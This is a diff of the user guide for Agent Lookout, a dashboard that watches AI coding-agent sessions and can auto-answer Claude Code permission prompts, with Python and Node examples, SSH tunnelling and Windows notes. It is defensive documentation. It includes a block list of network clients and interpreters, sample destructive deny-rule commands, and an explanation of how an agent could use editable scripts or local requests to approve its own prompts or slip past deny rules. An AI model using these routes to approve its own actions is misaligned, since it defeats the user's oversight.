+- It cannot begin with a program that sends requests or runs the code it is given. Claude can reach Agent Lookout itself, on this computer's own address, like any program you run, so `curl:*` or `python:*` would let it add a rule here, or answer its own prompt, without asking you. These are the network clients `curl`, `wget`, `nc`, `ncat`, `netcat`, `socat`, `telnet`, `http`, `https`, `httpx`, `xh`, `xhs`, `grpcurl`, `websocat`, `aria2c`, `ftp`, `sftp`, `scp`, `ssh`, `lynx`, `links`, `elinks` and `w3m`, and the interpreters `node`, `nodejs`, `deno`, `bun`, `tsx`, `ts-node`, `esno`, `vite-node`, `zx`, `python`, `ipython`, `bpython`, `pypy`, `ruby`, `irb`, `perl`, `php`, `lua`, `luajit`, `java`, `jshell`, `jrunscript`, `kotlin`, `scala`, `groovy`, `clojure`, `clj`, `dart`, `elixir`, `iex`, `erl`, `escript`, `ghci`, `runghc`, `runhaskell`, `ocaml`, `racket`, `guile`, `sbcl`, `raku`, `rakudo`, `R`, `Rscript`, `julia`, `swift`, `osascript`, `tclsh`, `wish`, `expect`, `awk`, `gawk`, `mawk` and `nawk`, whatever their capitals or folder, with `.exe` or `.com` after them, and with anything after the name that begins with a character other than a letter, such as a digit, a dot, a dash or an underscore, as in `python3.12`, `python3-intel64`, `nc.openbsd` or `perl5.34`. That also refuses a few that only share the name, such as `ssh-keygen` or `node_exporter`. An exact command is refused too, such as `python -m pytest`. Answer such commands by hand, or allow a script the project owns, such as `./scripts/test.sh`, knowing Claude can edit it. `NETWORK_CLIENTS_AND_INTERPRETERS` in the same file is the whole list.
+- A rule for a package manager or a build tool names its subcommand: `npm test:*`, never `npm:*` or `npm --yes:*`. These are `npm`, `pnpm`, `yarn` and `yarnpkg`, `bundle` and `bundler`, `cargo`, `go`, `dotnet`, `uv`, `pipx`, `poetry`, `nix`, `docker`, `docker-compose` and `podman`. Matched word by word, the rule answers that subcommand and no other, whatever shortened form or second name the tool would also take, so `npm test:*` never answers `npm exe`, `npm innit` or `npm -- exec`.
+- It cannot name a subcommand that fetches code, or runs code it is pointed at, and no command it answers holds one, wherever it comes before the arguments begin: `npm exec`, `x`, `init`, `innit`, `create` and `explore`, and for npm any start of their names two letters or longer, such as `exe`; `pnpm dlx`, `exec`, `create` and `x`; `yarn` and `yarnpkg` `dlx`, `exec`, `create` and `node`; `bundle` and `bundler` `exec`, `e`, `ex` and `exe`; `cargo run` and `r`; `go run`, `generate` and `tool`; `dotnet run`, `exec` and `tool`; `uv run` and `tool`; `pipx run`; `poetry run`; `nix run`, `shell` and `develop`; `docker` and `podman` `run`, `exec`, `create`, `start`, `build`, `buildx`, `compose` and `container`; and `docker-compose up`, `run`, `exec`, `start` and `create`. `SUBCOMMANDS_THAT_RUN_CODE` in the same file is the whole list.
+- It never answers a command with an option through which its program runs another: `git -c`, `--config-env`, `--exec-path`, `--upload-pack` and `--receive-pack`, `go -exec`, `-toolexec` and `-vettool`, and `npm --script-shell`, `--node-options` and `--call`, with one dash or two and with or without a value.
+- It never answers a command that names Agent Lookout's own files or a folder above them: a word with `.agent-lookout` in it, in any capitals; a path, or an option's value such as `--directory=…`, that is the settings file, the socket or any folder above them, up to your home folder and `/`, also when written with `..`, `//` or `/./`; the settings file's own name where a setting put it outside `.agent-lookout`; and any path under `/.vol`, which reaches a file by number on a Mac. Paths are also read from the session's folder, so `../..` from a project is your home folder, and no command of a session whose folder is your home folder, or a folder above it, is answered at all. So `sed:*` never answers `sed -i s/deny/allow/` on the settings file, nor `rsync:*` a copy into your home folder. The card refuses a rule that names the folder.
+
+The rules are read whole or not at all. A saved list that holds a rule Agent Lookout refuses, such as an allow rule for `curl` saved before it was refused, is read as no rule at all, as a list it cannot read is: none of its rules is used, and a note on the card says so. Changing a rule in Settings then writes the list again with only the rules the card shows. To keep the others, take the refused rule out of the file instead, and they are in force again by the next poll.
+
+An allow rule trusts what it names, and those lists cannot hold every program that can run another or send a request. A prefix trusts the program with every word after its own, but for the subcommands, options and paths above: `git:*` allows `git config`, which can set a program for git to run later, and `npm install:*` runs the install scripts of every package it fetches, as `pip install:*` does. A rule for a file Claude can edit, such as `./scripts/test.sh`, or for a program that runs one, such as `npm test` or `make`, lets Claude run whatever it writes into that file, and what it writes can reach Agent Lookout too: it can add a rule here, or answer Claude's own prompt, without asking you, and the rule it adds stays. Name the words that make a command one you want run without asking, `git status` or `npm test`, rather than the program alone, and keep allow rules for what you would allow every time. Reading the words cannot catch what a command does with no word that names it: an archive or a patch that holds full paths, a script or a settings file Claude can edit, a package's install scripts. Claude Code's sandbox, which an allow rule never lets a command leave, is the fence for those.
+
+A deny or an ask rule only holds a request back, so it matches more loosely. A rule for a tool matches every request of that tool. A rule for a command matches when any command in the line has its words:
+
+- After `;`, `&&`, `|` or a line break, inside `$( )` or backticks, after `then`, `else` or `do`, with quotes, backslashes and the `$` of `$'…'` taken out, and variables set before it passed over, so `rm:*` denies `cd build && rm -rf dist`.
+- The program by its name, whatever its capitals or its folder, so `rm:*` denies `RM -rf dist` and `/bin/rm -rf dist`. A Mac's disk finds `RM` as `rm`.
+- The rule's other words in order, with any words between them, so an option before them does not step around the rule: `git push:*` holds back `git -C . push` and `git --no-pager push`, and `git push --force:*` holds back `git push origin main --force`. That also holds back `git commit -m push`, which asks or denies more than the rule says, never less. An exact command, `git push`, holds back no command with a word after `push`.
+- After a program that runs another, such as `sudo`, `xargs`, `env`, `time` or `bash -c`, so `rm:*` denies `ls | xargs rm` and `sudo rm -rf dist`.
+
+It still goes by the words as written, in the first 4,000 characters, which is what the dashboard shows. A command that a program not in that list runs, such as `npm exec rm`, or that a script, an alias or a git setting runs, is not caught, and neither is a letter that only looks like another. A deny rule here is a convenience, not a fence. Claude Code's own deny rules and its sandbox are the places to fence a command off.
+
+A rule answers by the same path as Allow and Deny. Agent Lookout waits for the session's file to say it waits for permission, reads it again, answers only in that same wait, and hands the plugin one of the same two answers. It never rewrites a command and never saves a rule in Claude Code. The prompt in the session may show for the moment that takes, and Claude Code's file can say the session waits for a second or two after the answer. Agent Lookout knows it answered, or that a rule is about to, so it takes that wait as over: no notification, email, webhook post or reminder says the session needs you, the Events log shows no wait, only the answer, and [Waits](#waits) does not count it. Only a read of the file in the instant before the plugin's request reaches Agent Lookout can still see the wait begin. Nor does the session light the lamp or come into the Needs you panel, its count, the tab's title, or the Dock icon and menu bar of the Mac app, and the history, its charts and the Timeline show no wait. For that second or two it is listed with the working sessions as Answered, and [`agent-lookout status`](#in-the-terminal) and [`agent-lookout mcp`](#for-your-agents) count it as working too. With `AGENT_LOOKOUT_ANSWER=off`, no rule answers anything, and the card says so.
+
+Each answer a rule gives is an event in the Events log, such as "checkout-flow had Bash allowed by the rule Bash(npm test:*)", and the card lists the last 100 since Agent Lookout started, under Recent automatic answers, with the session, the time, the tool, the decision and the rule. Neither holds the command or anything else of what was asked. The Events log is kept in the [history](#history), so its rule answers are kept for 8 days, as every event is. [PRIVACY.md](../PRIVACY.md#the-settings-file) says what the rules file holds.
+
+### Claude Code's own rules come first
+
+A deny or an allow rule in Claude Code's own settings, such as one in `~/.claude/settings.json` or in a project's `.claude/settings.json`, decides before Agent Lookout is asked. Claude Code runs the plugin's hook only when it shows you a permission prompt. A call its own rules already deny or allow shows no prompt, so the hook does not run and no rule here is consulted. A deny rule there wins over an allow rule here, and an allow rule there wins over a deny rule here.
+
+An ask rule there is different. It is what makes Claude Code show the prompt, and so what runs the hook. An allow rule here then answers that prompt as Allow would. An ask rule in Claude Code's settings does not stop an allow rule here. To be asked every time, add the ask rule here.
+
+How this was checked, on 2026-10-07, and only this far:
+
+- Claude Code's [hooks reference](https://code.claude.com/docs/en/hooks) says a PermissionRequest hook runs when the user is shown a permission dialog, and also in a session started with `-p`, where Claude Code would otherwise deny the call. Its [permissions page](https://code.claude.com/docs/en/permissions) says rules are evaluated deny, then ask, then allow, and that an ask rule prompts for confirmation. The same page says Claude Code evaluates deny and ask rules whatever a PreToolUse hook returns. That is about PreToolUse, which runs before the prompt; neither page says the same of a PermissionRequest hook's allow.
+- The Claude Code 2.1.292 program, read with `strings` and not run, describes the PermissionRequest hook as running "When a permission dialog is displayed".
+- The tests run the plugin's own hook script against Agent Lookout's socket, with no Claude Code. No real Claude Code session was started to watch a deny rule there keep the hook from running, or an ask rule there let it run. If Claude Code changes when it runs the hook, this section changes with it.
+
 ## Keyboard
 
 Every view answers to a few keys. Press `?` to see them all.
@@ -652,7 +788,7 @@ checkout-flow    Waiting for permission  4m 12s
 search-indexing  Asked you a question    31s
 ```
 
-When nothing needs you it prints one line, such as `Nothing needs you · 4 working · 2 idle`. Sessions are counted as the Overview counts them: a stale session is counted as stale and not as idle, and stale is left out while there are none. A wait whose start is not known shows a dash. A name is cut at 40 columns, and anything in it that a terminal would act on, such as an escape sequence or a line break, is taken out before it is printed. Until an agent has been read, it says so in place of the counts, and exits with 2.
+When nothing needs you it prints one line, such as `Nothing needs you · 4 working · 2 idle`. Sessions are counted as the Overview counts them: a stale session is counted as stale and not as idle, and a session whose permission prompt you or a [permission rule](#permission-rules) just answered as working and not as needing you. Stale is left out while there are none. A wait whose start is not known shows a dash. A name is cut at 40 columns, and anything in it that a terminal would act on, such as an escape sequence or a line break, is taken out before it is printed. Until an agent has been read, it says so in place of the counts, and exits with 2.
 
 | Option            | What it does                                                                                    |
 | ----------------- | ----------------------------------------------------------------------------------------------- |
@@ -697,6 +833,7 @@ With `--json` it prints:
       "id": "claude-code:00000000-0000-4000-8000-000000000001",
       "name": "checkout-flow",
       "agent": "Claude Code",
+      "machine": null,
       "reason": "permission",
       "waitingSince": 1791205668000,
       "waitedMs": 252000
@@ -713,6 +850,7 @@ With `--json` it prints:
 | `id`                                   | The session's id, as `/api/sessions` gives it                                                                                                                                     |
 | `name`                                 | The session's name, exactly as its agent gave it                                                                                                                                  |
 | `agent`                                | `Claude Code`, or the agent a [status file](#your-own-agents) names                                                                                                               |
+| `machine`                              | The [other machine](#another-machine-over-ssh) it runs on, such as `devbox`, or `null` for this computer. Its line in the text says `on devbox` after the name                    |
 | `reason`                               | `permission`, `question` or `other`                                                                                                                                               |
 | `waitingSince`                         | When the wait began, in milliseconds since 1970, or `null` when that is not known                                                                                                 |
 | `waitedMs`                             | How long it has waited, in milliseconds, or `null`                                                                                                                                |
@@ -813,11 +951,11 @@ It finds Agent Lookout as `agent-lookout status` does: at `http://127.0.0.1:4777
 
 It has three tools:
 
-| Tool                   | Answers                                                                                                                                                                                                                                                                                                                                                      |
-| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| `list_sessions`        | Every session, those that need you first, longest wait first, then the rest by status, with its `id`, `name`, `agent`, `status`, the `reason` when it needs you, its `folder`, `branch` or `commit`, with [pull requests](#pull-requests) on its `pullRequest`, `app`, `since` and, for a working session, `quietFor`. Give it a `status` to list only those |
-| `sessions_needing_you` | The sessions that need you, longest wait first, with how long each has waited, and a `summary` in one sentence                                                                                                                                                                                                                                               |
-| `sources`              | Each source's state, as the Sources view says it, and its row of [what each agent can report](#what-each-agent-can-report), with the reason for each no and partly                                                                                                                                                                                           |
+| Tool                   | Answers                                                                                                                                                                                                                                                                                                                                                                                                             |
+| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `list_sessions`        | Every session, those that need you first, longest wait first, then the rest by status, with its `id`, `name`, `agent`, the `machine` it runs on, or `null` for this computer, `status`, the `reason` when it needs you, its `folder`, `branch` or `commit`, with [pull requests](#pull-requests) on its `pullRequest`, `app`, `since` and, for a working session, `quietFor`. Give it a `status` to list only those |
+| `sessions_needing_you` | The sessions that need you, longest wait first, with how long each has waited, and a `summary` in one sentence                                                                                                                                                                                                                                                                                                      |
+| `sources`              | Each source's state, as the Sources view says it, and its row of [what each agent can report](#what-each-agent-can-report), with the reason for each no and partly                                                                                                                                                                                                                                                  |
 
 Each answers in JSON. `sessions_needing_you` gives, for example:
 
@@ -831,6 +969,7 @@ Each answers in JSON. `sessions_needing_you` gives, for example:
       "id": "status-files:checkout-flow.json",
       "name": "checkout-flow",
       "agent": "Night Shift",
+      "machine": null,
       "reason": "permission",
       "folder": "storefront",
       "branch": null,
@@ -846,7 +985,7 @@ Each answers in JSON. `sessions_needing_you` gives, for example:
 }
 ```
 
-Times are in ISO 8601. A field that is not known is `null`. `counted` is `false` until Agent Lookout has read an agent, when an empty list says nothing, and the summary says so. When an agent's sessions could not be read, such as Claude Code's, the summary names that agent and says its sessions are not counted. `pullRequest` is `{ "number": 51, "checks": "failing" }` for a branch whose pull request Agent Lookout found, with `checks` one of `failing`, `pending`, `passing` and `none`, and `null` for every other session and whenever `AGENT_LOOKOUT_PULL_REQUESTS` is not `on`. It never holds the title, which someone else may have written. `quietFor` is how long a working session's agent has written nothing to the file it is read from, given whenever the agent's source gives that time. From 5 minutes it is what the Sessions list shows as [Quiet for](#quiet-for). Not every agent can report a wait: a Codex session waiting for your approval shows as working. `sources` says which can report what.
+Times are in ISO 8601. A field that is not known is `null`. A session on [another machine](#another-machine-over-ssh) has that machine's name in `machine`, and the summary says it after the name, `"checkout-flow" on devbox`: its `folder` is on that machine, not this one. `counted` is `false` until Agent Lookout has read an agent, when an empty list says nothing, and the summary says so. When an agent's sessions could not be read, such as Claude Code's, the summary names that agent and says its sessions are not counted. `pullRequest` is `{ "number": 51, "checks": "failing" }` for a branch whose pull request Agent Lookout found, with `checks` one of `failing`, `pending`, `passing` and `none`, and `null` for every other session and whenever `AGENT_LOOKOUT_PULL_REQUESTS` is not `on`. It never holds the title, which someone else may have written. `quietFor` is how long a working session's agent has written nothing to the file it is read from, given whenever the agent's source gives that time. From 5 minutes it is what the Sessions list shows as [Quiet for](#quiet-for). A Claude Code session whose permission prompt you or a [permission rule](#permission-rules) just answered is `working`, with `since` as `null`, for the second or two before Claude Code says what it does next, and `sessions_needing_you` leaves it out. Not every agent can report a wait: a Codex session waiting for your approval shows as working. `sources` says which can report what.
 
 A session's name, its agent's name, its folder and its branch are written by other programs, such as an agent that writes a [status file](#your-own-agents). The tools say so in their descriptions and in each answer, the summary puts each name in quotation marks, and anything a terminal would act on is taken out of them, as `agent-lookout status` does, and so is any character that shows nothing, in which words could be hidden from you but not from a model. An agent should still treat them as data, never as instructions.
 
@@ -875,6 +1014,111 @@ echo "Deleted: the session has gone"
 
 The session appears in Sessions as `docs-site`, in Terminal, moves to Needs you as Asked you a question, and leaves the list when the file is deleted. Once there is more than one agent on the screen, each row names its own, here `my-agent`. If you set `AGENT_LOOKOUT_STATUS_DIR`, put that folder in the first line instead.
 
+An agent written in Python or JavaScript can do the same from its own code. In each example below, `report` writes the file with the agent's own process ID in `pid`. The agent calls it as its work starts, when it waits for you and when it works again, and the file is deleted when the program ends, even when Ctrl-C, `kill` or closing its terminal stops it. Both write to `AGENT_LOOKOUT_STATUS_DIR` when it is set, and to `~/.agent-lookout/sessions` otherwise, and make the folder when it is not there.
+
+In Python 3.8 or later, save this as `my_agent.py` and run `python3 my_agent.py`:
+
+```python
+import atexit
+import json
+import os
+import signal
+import sys
+import time
+from pathlib import Path
+
+default = Path.home() / ".agent-lookout" / "sessions"
+folder = Path(os.environ.get("AGENT_LOOKOUT_STATUS_DIR") or default)
+status_file = folder / "my-agent.json"
+last = {"status": None, "since": None}
+
+
+def report(status, reason=None):
+    # since is when this status began, so it changes only with the status.
+    if status != last["status"]:
+        last.update(status=status, since=round(time.time() * 1000))
+    fields = {
+        "agent": "my-agent",
+        "name": "docs-site",
+        "cwd": os.getcwd(),
+        "status": status,
+        "reason": reason,
+        "since": last["since"],
+        "app": "terminal",
+        "pid": os.getpid(),
+    }
+    folder.mkdir(parents=True, exist_ok=True)
+    # Written whole under a name that starts with a dot, which is never read, then renamed.
+    temp = folder / ".my-agent.json"
+    temp.write_text(json.dumps(fields))
+    os.replace(temp, status_file)
+
+
+atexit.register(lambda: status_file.unlink(missing_ok=True))
+# On kill or a closed terminal, end the program as on Ctrl-C, so the file is deleted then too.
+# Windows has no SIGHUP.
+for name in ("SIGTERM", "SIGHUP"):
+    if hasattr(signal, name):
+        signal.signal(getattr(signal, name), lambda number, frame: sys.exit(128 + number))
+
+report("working")  # As the work starts.
+time.sleep(8)
+report("waiting", "question")  # When it needs you.
+time.sleep(8)
+report("working")  # When it works again.
+time.sleep(8)
+```
+
+In Node.js 18 or later, save this as `my-agent.mjs` and run `node my-agent.mjs`:
+
+```js
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+
+const folder =
+  process.env.AGENT_LOOKOUT_STATUS_DIR || path.join(os.homedir(), ".agent-lookout", "sessions");
+const statusFile = path.join(folder, "my-agent.json");
+const last = { status: null, since: null };
+
+function report(status, reason) {
+  // since is when this status began, so it changes only with the status.
+  if (status !== last.status) Object.assign(last, { status, since: Date.now() });
+  const fields = {
+    agent: "my-agent",
+    name: "docs-site",
+    cwd: process.cwd(),
+    status,
+    reason,
+    since: last.since,
+    app: "terminal",
+    pid: process.pid,
+  };
+  fs.mkdirSync(folder, { recursive: true });
+  // Written whole under a name that starts with a dot, which is never read, then renamed.
+  const temp = path.join(folder, ".my-agent.json");
+  fs.writeFileSync(temp, JSON.stringify(fields));
+  fs.renameSync(temp, statusFile);
+}
+
+process.on("exit", () => fs.rmSync(statusFile, { force: true }));
+// On Ctrl-C, kill or a closed terminal, end the program the usual way, so the file is deleted.
+for (const signal of ["SIGINT", "SIGTERM", "SIGHUP"]) {
+  process.on(signal, () => process.exit(128 + os.constants.signals[signal]));
+}
+
+const wait = (seconds) => new Promise((resolve) => setTimeout(resolve, seconds * 1000));
+
+report("working"); // As the work starts.
+await wait(8);
+report("waiting", "question"); // When it needs you.
+await wait(8);
+report("working"); // When it works again.
+await wait(8);
+```
+
+Each shows `docs-site` working, then in Needs you as Asked you a question, then working again, for 8 seconds each, and the session leaves the list as the program ends. A program killed outright, as with `kill -9`, cannot delete its file, and `pid` covers that: Agent Lookout sees the process has gone and drops the session within about 2 seconds. While your agent works, have it call `report` again now and then with the same status, so the session is not shown as quiet.
+
 | Field    | Needed | What it holds                                                                                                                                                                                                                                                                                                         |
 | -------- | ------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | `agent`  | Yes    | The agent's name, shown wherever the agent is named, such as `my-agent`. Up to 40 characters are kept.                                                                                                                                                                                                                |
@@ -898,6 +1142,54 @@ The session appears in Sessions as `docs-site`, in Terminal, moves to Needs you
 
 Agent Lookout only reads the folder. It never makes it, and never writes, renames or deletes anything in it. When a session ends, delete its file, or write `finished` or `failed` to keep it on screen for a day and delete the file after that, for example the next time the agent starts. A file that is no longer shown still takes one of the 200 places until it is deleted. Any program that can write in the folder can put a session on the dashboard. Under your home folder, that means programs you run.
 
+## Another machine over SSH
+
+Agent Lookout can show the sessions on another machine you reach with ssh, such as a dev box or a cloud VM, beside the ones on this computer. It takes two steps, and a third to check.
+
+1. On the other machine, start Agent Lookout as usual, and leave it running:
+
+   ```sh
+   npx agent-lookout
+   ```
+
+   There it listens on that machine's `127.0.0.1:4777` only, as it does here, so nothing else on its network can reach it.
+
+2. On this computer, name the machine when you start Agent Lookout:
+
+   ```sh
+   AGENT_LOOKOUT_REMOTES=devbox=dev@devbox.local npx agent-lookout
+   ```
+
+   `devbox` is the name shown beside its sessions, and `dev@devbox.local` is what you type after `ssh` to reach it: a host from your `~/.ssh/config`, a host name, or `user@host`. Name more machines with commas, up to eight: `devbox=dev@devbox.local,gpu=gpu-vm`. When Agent Lookout listens on another port there, give it after a colon: `gpu=gpu-vm:4800`.
+
+3. Open Sources. The devbox card says Connected, with the version of Agent Lookout there, and its sessions are in the lists on the Overview with `devbox` beside each. If it says Not connected, its card says why and what to do, and [If a machine's card says Not connected](#if-a-machines-card-says-not-connected) has more.
+
+`ssh dev@devbox.local` must connect from a terminal here without asking you anything first: Agent Lookout runs ssh so that it never asks for a password, a passphrase or whether to trust a host key, and never sees a key or a password itself.
+
+### How it works
+
+For each machine Agent Lookout runs your own `ssh`, as this command, with a free port of this computer's in place of `53211`:
+
+```sh
+ssh -N -o BatchMode=yes -o ExitOnForwardFailure=yes -o ServerAliveInterval=15 -o ControlMaster=no -o ControlPath=none -L 127.0.0.1:53211:127.0.0.1:4777 -- dev@devbox.local
+```
+
+It forwards that port on this computer's loopback to Agent Lookout's on the other machine's loopback, and runs no command there. ssh signs in with your ssh config and your agent. BatchMode stops it asking anything. `ControlMaster=no` and `ControlPath=none` make it a connection of its own every time, even when your ssh config shares connections, so it never joins an ssh you have open, never leaves one running in the background, and its forward ends when it ends.
+
+- Every 2 seconds, Agent Lookout asks the other machine's Agent Lookout for two things through the tunnel, `GET /api/health` and `GET /api/sessions`, and nothing else. This computer installs nothing there and leaves nothing there. The Agent Lookout you started there keeps its own Events log and history, as it does on any machine, unless it was started with `AGENT_LOOKOUT_HISTORY=off`.
+- Its sessions appear in the same lists as this computer's, each with the machine's name beside its own, and so do its waits and its events in the charts and the Events log, so two sessions of one name, one here and one there, are told apart. A waiting one is in Needs you and is counted there, and its notification names the machine after the session, `docs-site on devbox`. A prompt answered there, by Allow, Deny or a permission rule set there, is taken as answered here too, as that machine's Agent Lookout says: it is listed as Answered and sends nothing here. As on this computer, only a read in the instant before the plugin's request reached Agent Lookout there can still see the wait begin. What a waiting session is asking shows when the other machine sends it, as it does, unless `AGENT_LOOKOUT_WAITING_TEXT=off` is set here, which turns it off for every machine. `agent-lookout status` and `agent-lookout mcp` name the machine too.
+- Its sessions have no Jump, no Stop and no Allow or Deny. Each acts on this computer only.
+- The [time rules](#time-rules) set on this computer cover its sessions too. A wait there is reminded of and held through quiet hours here by the rules set here, its reminder and its line in the summary naming the machine as its notification does, and a session there idle longer than Mark idle sessions stale says here is counted as stale here. The rules set on the other machine go with what that machine sends itself, and are not read here.
+- Sources has a card for each machine. It says Connected, with the version of Agent Lookout there and what each of its sources is doing; Connecting, while ssh signs in the first time; or Not connected, with the reason and what to do: ssh was not found, the machine turned ssh away and ssh's own words for why, the connection dropped, no Agent Lookout is answering on its port, or what answers there is not Agent Lookout or sends a list this version cannot read. A first connection that has not answered within 10 seconds is Not connected, still connecting, until ssh connects or gives up. [What each agent can report](#what-each-agent-can-report) has a row for each agent found there, such as Claude Code on devbox.
+- A machine that is not connected, as when it is switched off, is no fault: nothing on the Overview turns red or amber for it. The header says `devbox not connected`, and while nothing on this computer needs you the hero says `Nothing on this computer needs you`, and that devbox's sessions are not known. The charts go on without its sessions.
+- When ssh ends, Agent Lookout starts it again after 1 second, then 2, 5, 10 and 30 seconds, and then every minute, until it connects. ssh notices within a minute that the other machine has gone. When Agent Lookout stops, it ends every ssh it started, with SIGKILL if one has not ended 2 seconds after SIGTERM.
+- A machine that is slow or cannot be reached does not hold up this computer's sessions. Each read waits for it half a second at most, and a slower answer is used at the next read.
+- A name is letters, digits and dashes, up to 24, starting with a letter or a digit. A target is letters, digits, dots, dashes and underscores, with at most one `@`. A space, a leading dash or any other punctuation, a name given twice, or more than eight machines, and no machine is read: Agent Lookout prints one line saying which entry is wrong, Sources shows an Other machines card that says the same, and it carries on with this computer alone.
+- ssh is looked for on your `PATH`, then in `/usr/bin`, `/opt/homebrew/bin` and `/usr/local/bin`. `AGENT_LOOKOUT_SSH_BIN` names another, and then it is the only one looked at.
+- While a tunnel is up, any program or user on this computer can reach the other machine's Agent Lookout through its port, as [SECURITY.md](../SECURITY.md) says. Name a machine only from a computer whose other users you trust with it.
+
+A session on another machine is read as that machine's Agent Lookout reads it, so what it can show is what its agent can show there. Each machine is read on its own: Agent Lookout there does not pass on the sessions of a machine it reads in turn.
+
 ## On Linux
 
 Agent Lookout is installed and started on Linux as on a Mac, and reads the same folders: `~/.claude/sessions`, `~/.codex` and `~/.agent-lookout/sessions`. CI runs every test on Ubuntu, and there it also starts the built app with `npm start` and checks that it lists a Claude Code session, Codex sessions and a session from a status file, each with the right status. No one has yet used it on a Linux desktop.
@@ -919,11 +1211,40 @@ If the clock is set by more than a minute while a Claude Code session runs, that
 
 Agent Lookout runs `ps` from `/usr/bin` or `/bin`. Where it is not there, as on NixOS, no session in tmux has a Jump button, and a registry file left behind by a session that crashed shows as a session if another program is given its process ID.
 
+## On Windows
+
+Agent Lookout is installed and started on Windows as on a Mac, with `npx agent-lookout` in PowerShell or the Command Prompt, and reads the same folders in your user folder, `%USERPROFILE%`: `.claude\sessions`, `.codex` and `.agent-lookout\sessions`. It keeps its history and its settings in `.agent-lookout` there too. A path in your user folder is shown with `/`, as `~/.claude/sessions`. CI runs the tests on Windows, less those of what Windows does not have, such as the POSIX signals and the Unix socket below, and there it also starts the built app with `npm start` and checks that it lists a Claude Code session, Codex sessions and a session from a status file, each with the right status. No one has yet used it on a Windows desktop.
+
+These are the same as on a Mac:
+
+- The dashboard, its notifications while a dashboard tab is open, [email](#email), the [webhook](#webhook), `agent-lookout status` and `agent-lookout mcp`.
+- The `claude agents --json --all` command, run every 30 seconds, which lists the background jobs that have finished or failed.
+- Jump for a session in VS Code, which is a `vscode://` link, where VS Code has registered itself to open those links.
+- `--open`, which hands the address to Windows' own `rundll32.exe` to open in your default browser.
+
+The `claude` command is looked for on your `PATH` as `claude.exe`, then in `%USERPROFILE%\.local\bin`, where Claude Code's own installer puts it, then in npm's folder, `%APPDATA%\npm`. Agent Lookout runs a program only, never a script that needs a shell. So for the `claude.cmd` that npm makes, it runs the `claude.exe` that the script runs, which npm keeps under the same folder, in `node_modules\@anthropic-ai\claude-code\bin`. Claude Code installed from npm before version 2.1.113 has no `claude.exe`, and has no `claude agents` command either: its sessions are read from `.claude\sessions` alone. `AGENT_LOOKOUT_CLAUDE_BIN` must name a program, a `.exe` or a `.com`.
+
+These are not on Windows:
+
+- [Stop](#stop-a-session), and ending the [sessions left running](#sessions-left-running). Agent Lookout stops a session only once `ps` has confirmed, by its start time, that the process is still the session's, and it stops it with a POSIX signal. Windows has neither, and Claude Code there records no start time to compare. No session has Stop, and the routes that stop one are not there.
+- [Allow and Deny](#answer-a-permission-prompt), and the [permission rules](#permission-rules). The plugin's hook is a POSIX sh script, and it reaches Agent Lookout through a Unix socket. Agent Lookout opens no socket on Windows, so an installed plugin does nothing, no rule answers a prompt, and Settings, under Permission prompts, says so.
+- [Jump to a tmux pane](#a-session-in-tmux), or [to a tab of Terminal or iTerm2](#a-session-in-a-tab-of-terminal-or-iterm2). tmux is never run on Windows, and the two terminals are Mac apps.
+- [Resume](#resume-a-session). The command it copies is for sh, bash and zsh, and is given only for a folder that starts with `/` and holds no backslash, so no session on Windows has Resume.
+- Notifications with no dashboard tab open, which Agent Lookout shows itself with `osascript` on a Mac alone. Keep a dashboard tab open to be notified.
+
+On Windows, [What each agent can report](#what-each-agent-can-report) says No for Stop and Answer and Partly for Jump, with why. The others have no column there.
+
+With no `ps`, Agent Lookout cannot tell a registry file left behind by a Claude Code session that crashed from a live one when Windows has given its process ID to another program. Such a file shows as a session until that program ends.
+
+[Another machine over SSH](#another-machine-over-ssh) and [pull requests](#pull-requests) run the `ssh.exe` and the `gh.exe` on your `PATH`, such as the OpenSSH client that comes with Windows. CI checks pull requests on Windows against a stand-in `gh.exe`, and neither has yet been tried there with the real program.
+
+The settings in this guide are written for a shell such as zsh or bash. In PowerShell, set one before the command, `$env:AGENT_LOOKOUT_CLAUDE_FEED = "off"; npx agent-lookout`, and in the Command Prompt, run `set AGENT_LOOKOUT_CLAUDE_FEED=off` and then `npx agent-lookout`.
+
 ## What it does not do yet
 
-It cannot resume or answer a session. It [stops](#stop-a-session) a Claude Code session only when you press Stop and confirm, and not one in the desktop app, a Codex session or a session from a status file. An agent through [`agent-lookout mcp`](#for-your-agents), whose tools only read, can do none of these. It covers Claude Code and Codex, and any agent that writes a [status file](#your-own-agents), and only sessions on this computer. Cloud sessions, Codex cloud tasks and browser chats do not appear. [What each agent can report](#what-each-agent-can-report) has a table of what each agent can and cannot show.
+It does not resume a session itself: for a Claude Code session that has ended, [Resume](#resume-a-session) copies the command that does, and you run it, on macOS and Linux. It cannot send a session a message. It [stops](#stop-a-session) a Claude Code session only when you press Stop and confirm, and not one in the desktop app, a Codex session, a session from a status file or any session on Windows. It [answers a permission prompt](#answer-a-permission-prompt) only for a Claude Code session with the plugin installed, and not on Windows, when you press Allow or Deny or a [permission rule](#permission-rules) you added matches, allows or denies that one request only, and offers Deny alone for an edit, a plan or a question, and for a request it cannot show whole and as it is. An allow rule never allows what you could not allow by hand, or a Bash line of more than one plain command. An agent through [`agent-lookout mcp`](#for-your-agents), whose tools only read, can do none of these. It covers Claude Code and Codex, and any agent that writes a [status file](#your-own-agents), on this computer and on [another machine](#another-machine-over-ssh) running Agent Lookout that you reach over SSH. Cloud sessions, Codex cloud tasks and browser chats do not appear. [What each agent can report](#what-each-agent-can-report) has a table of what each agent can and cannot show.
 
-A notification, an email or a post is sent for four events only: a session starting to wait, finishing, failing or ending. Only Claude Code sessions and sessions from a status file can be seen waiting. A Claude Code session that is not a background job does not say how it ended, so it sends Ended, never Finished or Failed. A Claude Code background job that starts and ends between two runs of the `claude` command, which is run every 30 seconds, leaves the list before the command lists it as finished, so it too sends Ended. A session from a Codex older than 0.155 is never shown as finished, so it sends Ended when it leaves the list, a day after it was last used. With no dashboard tab open, notifications are shown on a Mac only. Those come from Script Editor, unless Agent Lookout runs as the [desktop app](#desktop-app), cannot open the session, and are not cleared when the session moves on.
